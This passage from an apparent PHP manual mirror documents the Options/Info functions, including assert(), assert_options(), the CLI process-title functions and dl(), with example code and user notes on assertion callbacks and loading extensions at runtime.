CREDITS_FULLPAGE | 32 | Usually used in combination with the other flags. Indicates that a complete stand-alone HTML page needs to be printed including the information indicated by the other flags.
CREDITS_QA | 64 | The credits for the quality assurance team.
CREDITS_ALL | -1 | All the credits, equivalent to using: CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_QA CREDITS_FULLPAGE. It generates a complete stand-alone HTML page with the appropriate tags. This is the default value.
phpinfo() constants
Constant | Value | Description
INFO_GENERAL | 1 | The configuration line, php.ini location, build date, Web Server, System and more.
INFO_CREDITS | 2 | PHP Credits. See also phpcredits().
INFO_CONFIGURATION | 4 | Current Local and Master values for PHP directives. See also ini_get().
INFO_MODULES | 8 | Loaded modules and their respective settings.
INFO_ENVIRONMENT | 16 | Environment Variable information that's also available in $_ENV.
INFO_VARIABLES | 32 | Shows all predefined variables from EGPCS (Environment, GET, POST, Cookie, Server).
INFO_LICENSE | 64 | PHP License information. See also the » license faq.
INFO_ALL | -1 | Shows all of the above. This is the default value.
INI constants
Constant | Value | Description
INI_USER | 1 | Unused
INI_PERDIR | 2 | Unused
INI_SYSTEM | 4 | Unused
INI_ALL | 7 | Unused

Assert constants, these values are used to set the assertion options in assert_options().

assert() constants
Constant | INI Setting | Description
ASSERT_ACTIVE | assert.active | Enable assert() evaluation.
ASSERT_CALLBACK | assert.callback | Callback to call on failed assertions.
ASSERT_BAIL | assert.bail | Terminate execution on failed assertions.
ASSERT_WARNING | assert.warning | Issues a PHP warning for each failed assertion
ASSERT_QUIET_EVAL | assert.quiet_eval | Disable error_reporting during assertion expression evaluation.

The following constants are only available if the host operating system is Windows, and can tell different versioning information so its possible to detect various features and make use of them. They are all available as of PHP 5.3.0.

Windows specific constants
Constant | Description
PHP_WINDOWS_VERSION_MAJOR | The major version of Windows, this can be either 4 (NT4/Me/98/95), 5 (XP/2003 R2/2003/2000) or 6 (Vista/2008).
PHP_WINDOWS_VERSION_MINOR | The minor version of Windows, this can be either 0 (Vista/2008/2000/NT4/95), 1 (XP), 2 (2003 R2/2003/XP x64), 10 (98) or 90 (ME).
PHP_WINDOWS_VERSION_BUILD | The Windows build number (for example, Windows Vista with SP1 applied is build 6001)
PHP_WINDOWS_VERSION_PLATFORM | The platform that PHP currently is running on, this value is 2 on Windows Vista/XP/2000/NT4, Server 2008/2003 and on Windows ME/98/95 this value is 1.
PHP_WINDOWS_VERSION_SP_MAJOR | The major version of the service pack installed, this value is 0 if no service pack is installed. For example, Windows XP with service pack 3 installed will make this value 3.
PHP_WINDOWS_VERSION_SP_MINOR | The minor version of the service pack installed, this value is 0 if no service pack is installed.
PHP_WINDOWS_VERSION_SUITEMASK | The suitemask is a bitmask that can tell if various features of Windows is installed, see the table below for possible bitfield values.
PHP_WINDOWS_VERSION_PRODUCTTYPE | This contains the value used to determine the PHP_WINDOWS_NT_* constants. This value may be one of the PHP_WINDOWS_NT_* constants indicating the platform type.
PHP_WINDOWS_NT_DOMAIN_CONTROLLER | This is a domain controller
PHP_WINDOWS_NT_SERVER | This is a server system (eg. Server 2008/2003/2000), note that if this is a domain controller its reported as PHP_WINDOWS_NT_DOMAIN_CONTROLLER.
PHP_WINDOWS_NT_WORKSTATION | This is a workstation system (eg. Vista/XP/2000/NT4)

This table shows a list of features that can be checked for using the PHP_WINDOWS_VERSION_SUITEMASK bitmask.

Windows suitemask bitfields
Bits | Description
0x00000004 | Microsoft BackOffice components are installed.
0x00000400 | Windows Server 2003, Web Edition is installed.
0x00004000 | Windows Server 2003, Compute Cluster Edition is installed.
0x00000080 | Windows Server 2008 Datacenter, Windows Server 2003, Datacenter Edition or Windows 2000 Datacenter Server is installed.
0x00000002 | Windows Server 2008 Enterprise, Windows Server 2003, Enterprise Edition, Windows 2000 Advanced Server, or Windows NT Server 4.0 Enterprise Edition is installed.
0x00000040 | Windows XP Embedded is installed.
0x00000200 | Windows Vista Home Premium, Windows Vista Home Basic, or Windows XP Home Edition is installed.
0x00000100 | Remote Desktop is supported, but only one interactive session is supported. This value is set unless the system is running in application server mode.
0x00000001 | Microsoft Small Business Server was once installed on the system, but may have been upgraded to another version of Windows.
0x00000020 | Microsoft Small Business Server is installed with the restrictive client license in force.
0x00002000 | Windows Storage Server 2003 R2 or Windows Storage Server 2003 is installed.
0x00000010 | Terminal Services is installed. This value is always set. If this value is set but 0x00000100 is not set, then the system is running in application server mode.
0x00008000 | Windows Home Server is installed.

User Contributed Notes

There are no user contributed notes for this page.


PHP Options/Info Functions

Table of Contents

  • assert_options — Set/get the various assert flags
  • assert — Checks if assertion is FALSE
  • cli_get_process_title — Returns the current process title
  • cli_set_process_title — Sets the process title
  • dl — Loads a PHP extension at runtime
  • extension_loaded — Find out whether an extension is loaded
  • gc_collect_cycles — Forces collection of any existing garbage cycles
  • gc_disable — Deactivates the circular reference collector
  • gc_enable — Activates the circular reference collector
  • gc_enabled — Returns status of the circular reference collector
  • get_cfg_var — Gets the value of a PHP configuration option
  • get_current_user — Gets the name of the owner of the current PHP script
  • get_defined_constants — Returns an associative array with the names of all the constants and their values
  • get_extension_funcs — Returns an array with the names of the functions of a module
  • get_include_path — Gets the current include_path configuration option
  • get_included_files — Returns an array with the names of included or required files
  • get_loaded_extensions — Returns an array with the names of all modules compiled and loaded
  • get_magic_quotes_gpc — Gets the current configuration setting of magic_quotes_gpc
  • get_magic_quotes_runtime — Gets the current active configuration setting of magic_quotes_runtime
  • get_required_files — Alias of get_included_files
  • getenv — Gets the value of an environment variable
  • getlastmod — Gets time of last page modification
  • getmygid — Get PHP script owner's GID
  • getmyinode — Gets the inode of the current script
  • getmypid — Gets PHP's process ID
  • getmyuid — Gets PHP script owner's UID
  • getopt — Gets options from the command line argument list
  • getrusage — Gets the current resource usages
  • ini_alter — Alias of ini_set
  • ini_get_all — Gets all configuration options
  • ini_get — Gets the value of a configuration option
  • ini_restore — Restores the value of a configuration option
  • ini_set — Sets the value of a configuration option
  • magic_quotes_runtime — Alias of set_magic_quotes_runtime
  • main — Dummy for main
  • memory_get_peak_usage — Returns the peak of memory allocated by PHP
  • memory_get_usage — Returns the amount of memory allocated to PHP
  • php_ini_loaded_file — Retrieve a path to the loaded php.ini file
  • php_ini_scanned_files — Return a list of .ini files parsed from the additional ini dir
  • php_logo_guid — Gets the logo guid
  • php_sapi_name — Returns the type of interface between web server and PHP
  • php_uname — Returns information about the operating system PHP is running on
  • phpcredits — Prints out the credits for PHP
  • phpinfo — Outputs information about PHP's configuration
  • phpversion — Gets the current PHP version
  • putenv — Sets the value of an environment variable
  • restore_include_path — Restores the value of the include_path configuration option
  • set_include_path — Sets the include_path configuration option
  • set_magic_quotes_runtime — Sets the current active configuration setting of magic_quotes_runtime
  • set_time_limit — Limits the maximum execution time
  • sys_get_temp_dir — Returns directory path used for temporary files
  • version_compare — Compares two "PHP-standardized" version number strings
  • zend_logo_guid — Gets the Zend guid
  • zend_thread_id — Returns a unique identifier for the current thread
  • zend_version — Gets the version of the current Zend engine

User Contributed Notes

gilthansNOSPAAM at gmailSPAAMBLOCK dot com 16-Mar-2005 02:04
Note: when magic_quotes_gpc is ON, it will also slash values inside both $_SERVER['QUERY_STRING'] and $_SERVER['SCRIPT_NAME'] (and equivalents) will also be slashed.
Mark 15-Jun-2004 02:37
You probably don't want to set "magic_quotes_runtime" because it affects even binary file read/write operations. This is especially problematic if you include someone else's library that depends on binary read/write. If you enable "magic_quotes_runtime", be sure to use set_magic_quotes_runtime() function call to disable it before calling someone else's library that does binary read/write.


Set/get the various assert flags

  • « PHP Options/Info Functions
  • assert »
  • PHP Manual
  • PHP Options/Info Functions
  • Set/get the various assert flags

assert_options

(PHP 4, PHP 5)

assert_options — Set/get the various assert flags

Description

mixed assert_options ( int $what [, mixed $value ] )

Set the various assert() control options or just query their current settings.

Parameters

what

Assert Options
Option | INI Setting | Default value | Description
ASSERT_ACTIVE | assert.active | 1 | enable assert() evaluation
ASSERT_WARNING | assert.warning | 1 | issue a PHP warning for each failed assertion
ASSERT_BAIL | assert.bail | 0 | terminate execution on failed assertions
ASSERT_QUIET_EVAL | assert.quiet_eval | 0 | disable error_reporting during assertion expression evaluation
ASSERT_CALLBACK | assert.callback | (NULL) | Callback to call on failed assertions

value

An optional new value for the option.

Return Values

Returns the original setting of any option or FALSE on errors.

Examples

Example #1 assert_options() example

<?php
// This is our function to handle
// assert failures
function assert_failure()
{
    echo 'Assert failed';
}

// This is our test function
function test_assert($parameter)
{
    assert(is_bool($parameter));
}

// Set our assert options
assert_options(ASSERT_ACTIVE,   true);
assert_options(ASSERT_BAIL,     true);
assert_options(ASSERT_WARNING,  false);
assert_options(ASSERT_CALLBACK, 'assert_failure');

// Make an assert that would fail
test_assert(1);

// This is never reached due to ASSERT_BAIL
// being true
echo 'Never reached';
?>

See Also

  • assert() - Checks if assertion is FALSE

User Contributed Notes

21-Jul-2003 01:25
Here is an exemple how to use the assertion callback function :

<?php
  assert_options( ASSERT_CALLBACK, 'assert_callback');

  function assert_callback( $script, $line, $message ) {
    echo 'You have a design error in your script <b>', $script,'</b> : line <b>', $line,'</b> :<br />';
    echo '<b>', ereg_replace( '^.*//\*', '', $message ), '</b><br /><br />';
    echo 'Open the source file and check it, because it\'s not a normal behaviour !';
    exit;
  }

  $x = 3;
  assert('is_integer( $x ) && ($x >= 0) && ($x <= 10); //* $x must be an integer value from 0 to 10' );
  echo "0 <= $x <= 10";
?>

assertion is usefull for "design by contract" methodology ...


Checks if assertion is FALSE

  • « assert_options
  • cli_get_process_title »
  • PHP Manual
  • PHP Options/Info Functions
  • Checks if assertion is FALSE

assert

(PHP 4, PHP 5)

assert — Checks if assertion is FALSE

Description

bool assert ( mixed $assertion [, string $description ] )

assert() will check the given assertion and take appropriate action if its result is FALSE.

If the assertion is given as a string it will be evaluated as PHP code by assert(). The advantages of a string assertion are less overhead when assertion checking is off and messages containing the assertion expression when an assertion fails. This means that if you pass a boolean condition as assertion this condition will not show up as parameter to the assertion function which you may have defined with the assert_options() function, the condition is converted to a string before calling that handler function, and the boolean FALSE is converted as the empty string.

Assertions should be used as a debugging feature only. You may use them for sanity-checks that test for conditions that should always be TRUE and that indicate some programming errors if not or to check for the presence of certain features like extension functions or certain system limits and features.

Assertions should not be used for normal runtime operations like input parameter checks. As a rule of thumb your code should always be able to work correctly if assertion checking is not activated.

The behavior of assert() may be configured by assert_options() or by .ini-settings described in that functions manual page.

The assert_options() function and/or ASSERT_CALLBACK configuration directive allow a callback function to be set to handle failed assertions.

assert() callbacks are particularly useful for building automated test suites because they allow you to easily capture the code passed to the assertion, along with information on where the assertion was made. While this information can be captured via other methods, using assertions makes it much faster and easier!

The callback function should accept three arguments. The first argument will contain the file the assertion failed in. The second argument will contain the line the assertion failed on and the third argument will contain the expression that failed (if any — literal values such as 1 or "two" will not be passed via this argument). Users of PHP 5.4.8 and later may also provide a fourth optional argument, which will contain the description given to assert(), if it was set.

Parameters

assertion

The assertion.

description

An optional description that will be included in the failure message if the assertion fails.

Return Values

FALSE if the assertion is false, TRUE otherwise.

Changelog

Version | Description
5.4.8 | The description parameter was added. The description is also now provided to a callback function in ASSERT_CALLBACK mode as the fourth argument.

Examples

Example #1 Handle a failed assertion with a custom handler

<?php
// Active assert and make it quiet
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);

// Create a handler function
function my_assert_handler($file, $line, $code)
{
    echo "<hr>Assertion Failed:
        File '$file'<br />
        Line '$line'<br />
        Code '$code'<br /><hr />";
}

// Set up the callback
assert_options(ASSERT_CALLBACK, 'my_assert_handler');

// Make an assertion that should fail
assert('mysql_query("")');
?>

Example #2 Using a custom handler to print a description

<?php
// Active assert and make it quiet
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);

// Create a handler function
function my_assert_handler($file, $line, $code, $desc = null)
{
    echo "Assertion failed at $file:$line: $code";
    if ($desc) {
        echo ": $desc";
    }
    echo "\n";
}

// Set up the callback
assert_options(ASSERT_CALLBACK, 'my_assert_handler');

// Make an assertion that should fail
assert('2 < 1');
assert('2 < 1', 'Two is less than one');
?>

The above example will output:

Assertion failed at test.php:21: 2 < 1
Assertion failed at test.php:22: 2 < 1: Two is less than one

See Also

  • assert_options() - Set/get the various assert flags

User Contributed Notes

fabiano dot fa04 at gmail dot com 10-Oct-2013 02:40
You can also use a function instead a string description as the second parameter.

<?php

    function assertIsFalse(){
        echo "Hey, this assert is false and I'm a function.";
    }

    $foo = "foo";
    $bar = $foo;

    $foo = "bar";

    assert( $foo == $bar, assertIsFalse() );

?>

The result would be:

Hey, this assert is false and I'm a function.
office dot stojmenovic at gmail dot com 20-Sep-2013 09:35
Example from Ikac Framework how they use assert()

<?php

    /**
     * Set Assertion Debug
     *
     * This method will check the given assertion and take appropriate -
     * action if its result is FALSE.
     *
     * This file is part of Ikac Framework.
     *
     * @package Ikac Framework
     * @author Ivan Stojmenovic Ikac <contact.@stojmenovic.info>
     *
     * @param mixed $assertion  The assertion.
     * @param mixed $callback Callback to call on failed assertions
     * @param array $options  Set the various control options or just query their current settings.
     * @param string $description  An optional description that will be included in the failure message if the assertion fails.
     */
    public function setAssertionDebug($assertion, $callback, array $options, $description = null)
    {
        if (is_array($options)) {
            foreach ($options AS $option => $value) {
                assert_options($option, $value);
            }
        }
        if ($callback) {
            assert_options(ASSERT_CALLBACK, $callback);
        }

        return assert($assertion, $description);
    }
    ?>

How to use:

<?php
      use Ikac\Component\SystemBehaviour\OptionsInfo;

      $system = new OptionsInfo();

      $option = array(ASSERT_ACTIVE => 1,ASSERT_WARNING => 0,ASSERT_QUIET_EVAL => 1);

     $system->setAssertionDebug('2<1', function(){
            echo "Assertion failed";
     }, $option);

?>
devoto13 at gmail dot com 03-Jul-2013 07:29
"If you would like to compare with === or !== you need to add '(string)' before string numbers. Or wrap them with quotes."

Do not use this aproach, because it would not work, look at http://php.net/manual/en/function.var-export.php .
uramihsayibok, gmail, com 20-Jun-2010 10:48
There's a nice advantage to giving assert() some code to execute, as a string, rather than a simple true/false value: commenting.

<?php

assert('is_int($int) /* $int parameter must be an int, not just numeric */');

// and my personal favorite
assert('false /* not yet implemented */');

?>

The comment will show up in the output (or in your assertion handler) and doesn't require someone debugging to go through your code trying to figure out why the assertion happened. That's no excuse to not comment your code, of course.

You need to use a block comment (/*...*/) because a line comment (//...) creates an "unexpected $end" parse error in the evaluated code. Bug? Could be.
(You can get around it with "false // not yet implemented\n" but that screws up the message)
hodgman at ali dot com dot au 29-Jul-2008 06:19
As noted on Wikipedia - "assertions are primarily a development tool, they are often disabled when a program is released to the public." and "Assertions should be used to document logically impossible situations and discover programming errors— if the 'impossible' occurs, then something fundamental is clearly wrong. This is distinct from error handling: most error conditions are possible, although some may be extremely unlikely to occur in practice. Using assertions as a general-purpose error handling mechanism is usually unwise: assertions do not allow for graceful recovery from errors, and an assertion failure will often halt the program's execution abruptly. Assertions also do not display a user-friendly error message."

This means that the advice given by "gk at proliberty dot com" to force assertions to be enabled, even when they have been disabled manually, goes against best practices of only using them as a development tool.
Krzysztof &#39;ChanibaL&#39; Bociurko 02-Oct-2007 03:13
Note that func_get_args() should be used carefully and never in a string! For example:

<?php
function asserted_normal($a, $b) {
    assert(var_dump(func_get_args()));
    }
function asserted_string($a, $b) {
    assert('var_dump(func_get_args())');
    }
?>

<?php asserted_normal(1,2) ?> prints
array(2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}

but <?php asserted_string(3,4) ?> prints
array(1) {
  [0]=>
  string(25) "var_dump(func_get_args())"
}

This is because of that the string passed to assert() is being evaled inside assert, and not your function. Also, note that this works correctly, because of the eval scope:

<?php
function asserted_evaled_string($a, $b) {
    assert(eval('var_dump(func_get_args())'));
    }
asserted_evaled_string(5,6);
?>
array(2) {
  [0]=>
  int(5)
  [1]=>
  int(6)
}

(oh, and for simplicity's sake the evaled code doesn't return true, so  don't worry that it fails assertion...)
mail<at>aaron-mueller.de 13-Sep-2006 07:51
Here is a simple demonstration of Design By Contract with PHP

<?php

assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_BAIL, 1);
assert_options(ASSERT_CALLBACK, 'dcb_callback');

function dcb_callback($script, $line, $message) {
    echo "<h1>Condition failed!</h1><br />
        Script: <strong>$script</strong><br />
        Line: <strong>$line</strong><br />
        Condition: <br /><pre>$message</pre>";
}

// Parameters
$a = 5;
$b = 'Simple DCB with PHP';

// Pre-Condition
assert('
    is_integer($a) &&
    ($a > 0) &&
    ($a < 20) &&

    is_string($b) &&
    (strlen($b) > 5);
');

// Function
function combine($a, $b) {
    return "Kombined: " . $b . $a;
}

$result = combine($a, $b);

// Post-Condition
assert('
    is_string($result) &&
    (strlen($result) > 0);
');

// All right, the Function works fine
var_dump($result);

?>
gk at proliberty dot com 27-Aug-2005 04:35
If you expect your code to be able to work well with other code, then you should not make any assumptions about the current state of assert_options() flags, prior to calling assert(): other code may disable ASSERT_ACTIVE, without you knowing it - this would render assert() useless!

To avoid this, ALWAYS set assert_options() IMMEDIATELY before calling assert(), per the C++ paradigm for assertion usage:

In one C++ source file, you can define and undefine NDEBUG multiple times, each time followed by #include <cassert>, to enable or disable the assert macro multiple times in the same source file.

Here is how I workaround this issue in my PHP code:

<?php
//////////////////////////////////////////////////////////////////////
/// phpxAssertHandler_f
//////////////////////////////////////////////////////////////////////
/**
 * @desc     Handler which also sets up assert options if not being called as handler
                 Always fatal when assertion fails
                 Always make sure assertion is enabled
                 Cannot depend on other code not using assert or using its own assert handler!
            USAGE:
            // customize error level of assertion (php assert_options() only allows E_WARNING or nothing at all):
                phpxAssertHandler_f(E_USER_NOTICE);
            // control assertion active state: not dependent on anything another piece of code might do with ASSERT_ACTIVE
                $GLOBALS['MY_ASSERT_ACTIVE']=false;
                phpxAssertHandler_f(E_USER_NOTICE,$GLOBALS['MY_ASSERT_ACTIVE']);
            // use alternate assertion callback function:
            // NOTE: pass null as custom options parameter to use default options
            // NOTE: pass no values for assert options parameter array elements to use default options
                $GLOBALS['MY_ASSERT_ACTIVE']=false;
                $GLOBALS['MY_ASSERT_CALLBACK']='myAssertCallback';
                phpxAssertHandler_f(
                    null,
                    array(
                        0=>$GLOBALS['MY_ASSERT_ACTIVE'],
                        3=>$GLOBALS['MY_ASSERT_CALLBACK'],
                    )
                );

 * @param   mixed = file or options
 * @param   line
 * @param   code
 * @return   void
 */
function phpxAssertHandler_f($file_or_custom_options=null, $line_or_assert_options=null, $code=null){

    static $custom_options;
    $debug = false;

    if (is_null($code)){
        // set default assert_options
        $assert_options[]=1;//ASSERT_ACTIVE
        $assert_options[]=0;//ASSERT_WARNING -
        $assert_options[]=0;//ASSERT_QUIET_EVAL
        $assert_options[]=__FUNCTION__;//ASSERT_CALLBACK

        // set default custom_options
        $custom_options[]=E_USER_ERROR;// error level

        if (!is_null($line_or_assert_options)){
            // assert_options are passed in
            if (!is_array($line_or_assert_options)){
                $line_or_assert_options=array($line_or_assert_options);
            }
            foreach ($line_or_assert_options as $i=>$assert_option){
                if ($assert_option===true) $assert_option=1;
                if ($assert_option===false) $assert_option=0;
                $assert_options[$i]=$assert_option;
                if($debug) echo ("assert_options[$i]=$assert_option\n");
            }
        }

        if (!is_null($file_or_custom_options)){
            // custom_options are passed in
            if (!is_array($file_or_custom_options)){
                $file_or_custom_options=array($file_or_custom_options);
            }
            foreach ($file_or_custom_options as $i=>$custom_option){
                if ($custom_option===true) $custom_option=1;
                if ($custom_option===false) $custom_option=0;
                $custom_options[$i]=$custom_option;
                if($debug) echo ("custom_options[$i]=$custom_option\n");
            }
        }

        // set assert options
        @assert_options (ASSERT_ACTIVE, $assert_options[0]);
        @assert_options (ASSERT_WARNING, $assert_options[1]);
        @assert_options (ASSERT_QUIET_EVAL, $assert_options[2]);
        @assert_options (ASSERT_CALLBACK, $assert_options[3]);

    } else {
    // we are acting as a callback function
        $file = $file_or_custom_options;
        $line = $line_or_assert_options;
        $msg="ASSERTION FAILED: $code";
        phpxErrorHandler_f ($custom_options[0],$msg,$file,$line);
    }
}//phpxAssertHandler_f()
?>


Returns the current process title

  • « assert
  • cli_set_process_title »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns the current process title

cli_get_process_title

(PHP 5 >= 5.5.0)

cli_get_process_title — Returns the current process title

Description

string cli_get_process_title ( void )

Returns the current process title, as set by cli_set_process_title(). Note that this may not exactly match what is shown in ps or top, depending on your operating system.

This function is available only in CLI mode.

Parameters

This function has no parameters.

Return Values

Return a string with the current process title or NULL on error.

Errors/Exceptions

An E_WARNING will be generated if the operating system is unsupported.

Examples

Example #1 cli_get_process_title() example

<?php
echo "Process title: " . cli_get_process_title() . "\n";
?>

See Also

  • cli_set_process_title() - Sets the process title

User Contributed Notes

pgl at yoyo dot org 30-Jan-2014 08:20
For versions of PHP < 5.5.0, you can get the name of the script from $argv[0]: http://www.php.net/manual/en/reserved.variables.argv.php


Sets the process title

  • « cli_get_process_title
  • dl »
  • PHP Manual
  • PHP Options/Info Functions
  • Sets the process title

cli_set_process_title

(PHP 5 >= 5.5.0)

cli_set_process_title — Sets the process title

Description

bool cli_set_process_title ( string $title )

Sets the process title visible in tools such as top and ps. This function is available only in CLI mode.

Parameters

title

The new title.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

An E_WARNING will be generated if the operating system is unsupported.

Examples

Example #1 cli_set_process_title() example

<?php
$title = "My Amazing PHP Script";
$pid = getmypid(); // you can use this to see your process title in ps

if (!cli_set_process_title($title)) {
    echo "Unable to set process title for PID $pid...\n";
    exit(1);
} else {
    echo "The process title '$title' for PID $pid has been set for your process!\n";
    sleep(5);
}
?>

See Also

  • cli_get_process_title() - Returns the current process title

User Contributed Notes

ahonymous at gmail dot com 21-Oct-2014 06:23
Hi!
I have a warning message in console, when use cli_set_process_title():

php > cli_get_process_title('test');
PHP Warning:  cli_get_process_title() expects exactly 0 parameters, 1 given in php shell code on line 1
PHP Stack trace:
PHP   1. {main}() php shell code:0
PHP   2. cli_get_process_title() php shell code:1
code at edoceo dot com 13-Mar-2014 04:14
Setting proc title on PHP based daemons is pretty sweet.


Loads a PHP extension at runtime

  • « cli_set_process_title
  • extension_loaded »
  • PHP Manual
  • PHP Options/Info Functions
  • Loads a PHP extension at runtime

dl

(PHP 4, PHP 5)

dl — Loads a PHP extension at runtime

Description

bool dl ( string $library )

Loads the PHP extension given by the parameter library.

Use extension_loaded() to test whether a given extension is already available or not. This works on both built-in extensions and dynamically loaded ones (either through php.ini or dl()).

Warning

This function has been removed from some SAPIs in PHP 5.3.

Parameters

library

This parameter is only the filename of the extension to load which also depends on your platform. For example, the sockets extension (if compiled as a shared module, not the default!) would be called sockets.so on Unix platforms whereas it is called php_sockets.dll on the Windows platform.

The directory where the extension is loaded from depends on your platform:

Windows - If not explicitly set in the php.ini, the extension is loaded from C:\php4\extensions\ (PHP 4) or C:\php5\ (PHP 5) by default.

Unix - If not explicitly set in the php.ini, the default extension directory depends on

  • whether PHP has been built with --enable-debug or not
  • whether PHP has been built with (experimental) ZTS (Zend Thread Safety) support or not
  • the current internal ZEND_MODULE_API_NO (Zend internal module API number, which is basically the date on which a major module API change happened, e.g. 20010901)
Taking into account the above, the directory then defaults to <install-dir>/lib/php/extensions/ <debug-or-not>-<zts-or-not>-ZEND_MODULE_API_NO, e.g. /usr/local/php/lib/php/extensions/debug-non-zts-20010901 or /usr/local/php/lib/php/extensions/no-debug-zts-20010901.

Return Values

Returns TRUE on success or FALSE on failure. If the functionality of loading modules is not available or has been disabled (either by setting enable_dl off or by enabling safe mode in php.ini) an E_ERROR is emitted and execution is stopped. If dl() fails because the specified library couldn't be loaded, in addition to FALSE an E_WARNING message is emitted.

Examples

Example #1 dl() examples

<?php
// Example loading an extension based on OS
if (!extension_loaded('sqlite')) {
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        dl('php_sqlite.dll');
    } else {
        dl('sqlite.so');
    }
}

// Or, the PHP_SHLIB_SUFFIX constant is available as of PHP 4.3.0
if (!extension_loaded('sqlite')) {
    $prefix = (PHP_SHLIB_SUFFIX === 'dll') ? 'php_' : '';
    dl($prefix . 'sqlite.' . PHP_SHLIB_SUFFIX);
}
?>

Changelog

Version | Description
5.3.0 | dl() is now disabled in some SAPIs due to stability issues. The only SAPIs that allow dl() are CLI and Embed. Use the Extension Loading Directives instead.

Notes

Note:

dl() is not supported when PHP is built with ZTS support. Use the Extension Loading Directives instead.

Note:

dl() is case sensitive on Unix platforms.

Note: This function is disabled when PHP is running in safe mode.

See Also

  • Extension Loading Directives
  • extension_loaded() - Find out whether an extension is loaded

User Contributed Notes

fabrizim at owlwatch dot com 04-May-2013 05:24
As noted in the documentation:

Changelog 5.3: dl() is now disabled in some SAPIs due to stability issues. The only SAPIs that allow dl() are CLI and Embed. Use the Extension Loading Directives instead.

If using PEAR libraries that try to load extensions, like Image_Transform which will try to load ImageMagik, and the "enable_dl" directive is set to 1 in your php.ini, you may end up with a hard to find error (white screen of death).

One "solution" is to change the enable_dl directive to 0 in the php.ini. It may have adverse affects if you are using php on command line that requires the "dl" function, but I think in most cases its okay.
Anonymous 04-Dec-2010 07:36
this function errors out as the dl() cannot take the absolute path..."Warning: dl() [function.dl]: Temporary module name should contain only filename in /home/..."
shaunspiller at spammenot-gmail dot com 29-Jan-2009 09:34
dl is awkward because the filename format is OS-dependent and because it can complain if the extension is already loaded. This wrapper function fixes that:

<?php

function load_lib($n, $f = null) {
    return extension_loaded($n) or dl(((PHP_SHLIB_SUFFIX === 'dll') ? 'php_' : '') . ($f ? $f : $n) . '.' . PHP_SHLIB_SUFFIX);
}

?>

Examples:

<?php

// ensure we have SSL and MySQL support
load_lib('openssl');
load_lib('mysql');

// a rare few extensions have a different filename to their extension name, such as the image (gd) library, so we specify them like this:
load_lib('gd', 'gd2');

?>
mag_2000 at front dot ru 06-Dec-2005 08:13
<?php

function dl_local( $extensionFile ) {
   //make sure that we are ABLE to load libraries
   if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
   }

     //check to make sure the file exists
   if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
   }

   //check the file permissions
   if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
   }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
   if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
   }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

   if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
   }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
       if( $i != $subDirs ) {
         $backDirStr .= "/";
       }
   }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

   //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
   }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

?>
endofyourself at yahoo dot com 18-Oct-2003 01:12
If you need to load an extension from the CURRENT local directory because you do not have privelages to place the extension in your servers PHP extensions directory, this function i wrote may be of use to you

<?php
/*
    Function: dl_local()
    Reference: http://us2.php.net/manual/en/function.dl.php
    Author: Brendon Crawford <endofyourself |AT| yahoo>
    Usage: dl_local( "mylib.so" );
    Returns: Extension Name (NOT the extension filename however)
    NOTE:
        This function can be used when you need to load a PHP extension (module,shared object,etc..),
        but you do not have sufficient privelages to place the extension in the proper directory where it can be loaded. This function
        will load the extension from the CURRENT WORKING DIRECTORY only.
        If you need to see which functions are available within a certain extension,
        use "get_extension_funcs()". Documentation for this can be found at
        "http://us2.php.net/manual/en/function.get-extension-funcs.php".
*/

function dl_local( $extensionFile ) {
    //make sure that we are ABLE to load libraries
    if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
    }

     //check to make sure the file exists
    if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
    }

    //check the file permissions
    if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
    }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
    if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
    }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

    if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
    }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
        if( $i != $subDirs ) {
         $backDirStr .= "/";
        }
    }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

    //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
    }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

